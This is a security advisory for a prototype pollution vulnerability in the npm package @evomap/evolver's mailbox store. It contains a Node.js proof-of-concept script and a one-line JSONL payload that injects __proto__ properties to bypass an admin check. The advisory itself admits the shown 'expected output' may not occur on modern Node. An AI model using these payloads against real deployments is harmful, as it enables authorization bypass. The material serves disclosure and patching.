CVE-2026-42077

Description

### Summary A prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into `Object.prototype`. The vulnerability exists in the `_applyUpdate()` and `_updateRecord()` functions which use `Object.assign()` to merge user-controlled data without filtering dangerous keys like `__proto__`, `constructor`, or `prototype`. ### Details The vulnerability exists in `src/proxy/mailbox/store.js` at lines 123 and 145: ```javascript // src/proxy/mailbox/store.js:115-128 _applyUpdate(row) { if (row._op === 'update') { const existing = this._index[row.id]; // VULNERABLE: Direct Object.assign without key filtering if (existing) Object.assign(existing, row.fields); else this._index[row.id] = row.fields; } // ... } // src/proxy/mailbox/store.js:138-150 _updateRecord(id, fields) { const existing = this._index[id]; // VULNERABLE: Direct Object.assign without key filtering if (existing) Object.assign(existing, fields); // ... } ``` The vulnerability can be triggered when an attacker has the ability to write to the `messages.jsonl` file (used for mailbox persistence). By crafting a malicious JSONL entry with `__proto__` as a field key, the attacker can pollute the prototype of all objects. The data flows from: 1. `messages.jsonl` file → 2. `readLines()` function (line 47) → 3. `_rebuildIndex()` (line 113) → `_applyUpdate()` (line 121) → 4. `Object.assign()` pollutes prototype ### PoC **Prerequisites:** - Node.js installed - Access to write to the mailbox messages file **Steps to reproduce:** 1. Create a test file demonstrating the vulnerability: ```javascript // test-prototype-pollution.js const fs = require('fs'); const path = require('path'); // Simulate the vulnerable Store class logic class VulnerableStore { constructor(filePath) { this.filePath = filePath; this._index = {}; } load() { if (!fs.existsSync(this.filePath)) return; const lines = fs.readFileSync(this.filePath, 'utf8').split('\n'); for (const line of lines) { if (!line.trim()) continue; try { const row = JSON.parse(line); this._applyUpdate(row); } catch (e) { // Ignore parse errors } } } _applyUpdate(row) { if (row._op === 'update') { const existing = this._index[row.id]; // VULNERABLE: No filtering of dangerous keys if (existing) Object.assign(existing, row.fields); else this._index[row.id] = row.fields; } } update(id, fields) { this._updateRecord(id, fields); } _updateRecord(id, fields) { const existing = this._index[id]; // VULNERABLE: No filtering of dangerous keys if (existing) Object.assign(existing, fields); else this._index[id] = fields; } } // Test the vulnerability console.log('=== Testing Prototype Pollution ===\n'); // Create a malicious messages.jsonl file const maliciousContent = JSON.stringify({ _op: 'update', id: 'msg-123', fields: { __proto__: { polluted: true, isAdmin: true }, normalField: 'normalValue' } }) + '\n'; const testDir = '/tmp/evolver-pollution-test'; if (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true }); const testFile = path.join(testDir, 'messages.jsonl'); fs.writeFileSync(testFile, maliciousContent); console.log('Created malicious messages.jsonl'); // Load the store (this triggers the vulnerability) const store = new VulnerableStore(testFile); store.load(); // Check if prototype was polluted console.log('\n=== Checking for prototype pollution ==='); const testObj = {}; console.log('testObj.polluted:', testObj.polluted); console.log('testObj.isAdmin:', testObj.isAdmin); if (testObj.polluted === true) { console.log('\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!'); console.log('All objects now have "polluted" and "isAdmin" properties.'); } else { console.log('\n🟡 Prototype pollution may require different payload structure'); } // Demonstrate impact - bypassing authentication check console.log('\n=== Impact Demonstration ==='); function checkAdmin(user) { // Typical pattern that would be vulnerable if (user.isAdmin) { return 'Access granted - Admin privileges'; } return 'Access denied'; } const regularUser = { name: 'normal_user' }; console.log('Regular user check:', checkAdmin(regularUser)); // Cleanup fs.rmSync(testDir, { recursive: true }); ``` 2. Run the test: ```bash node test-prototype-pollution.js ``` **Expected output:** ``` === Checking for prototype pollution === testObj.polluted: true testObj.isAdmin: true 🔴 VULNERABILITY CONFIRMED: Object prototype was polluted! All objects now have "polluted" and "isAdmin" properties. === Impact Demonstration === Regular user check: Access granted - Admin privileges ``` **Note:** Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like `constructor.prototype.isAdmin`. **Attack scenario:** If an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can: ```jsonl {"_op":"update","id":"malicious","fields":{"__proto__":{"isAdmin":true,"canExecuteArbitraryCode":true}}} ``` ### Impact This is a **Prototype Pollution** vulnerability that can lead to: - Property injection affecting all JavaScript objects - Authentication/authorization bypass - Application logic manipulation - Denial of service via prototype corruption - Potential remote code execution if polluted properties affect security-critical code paths **Attack requirements:** The attacker needs write access to the `messages.jsonl` file. This could be achieved through: - File upload vulnerabilities - Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command) - Compromised backup files - Shared hosting environments **Affected users:** Anyone using the mailbox functionality in multi-user environments or with persistent message storage.

Affected packages (1)

• npm/@evomap/evolverfrom 0, < 1.69.3

CVSS scores

References (4)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-42077
• PATCHhttps://github.com/EvoMap/evolver
• WEBhttps://github.com/EvoMap/evolver/releases/tag/v1.69.3
• WEBhttps://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4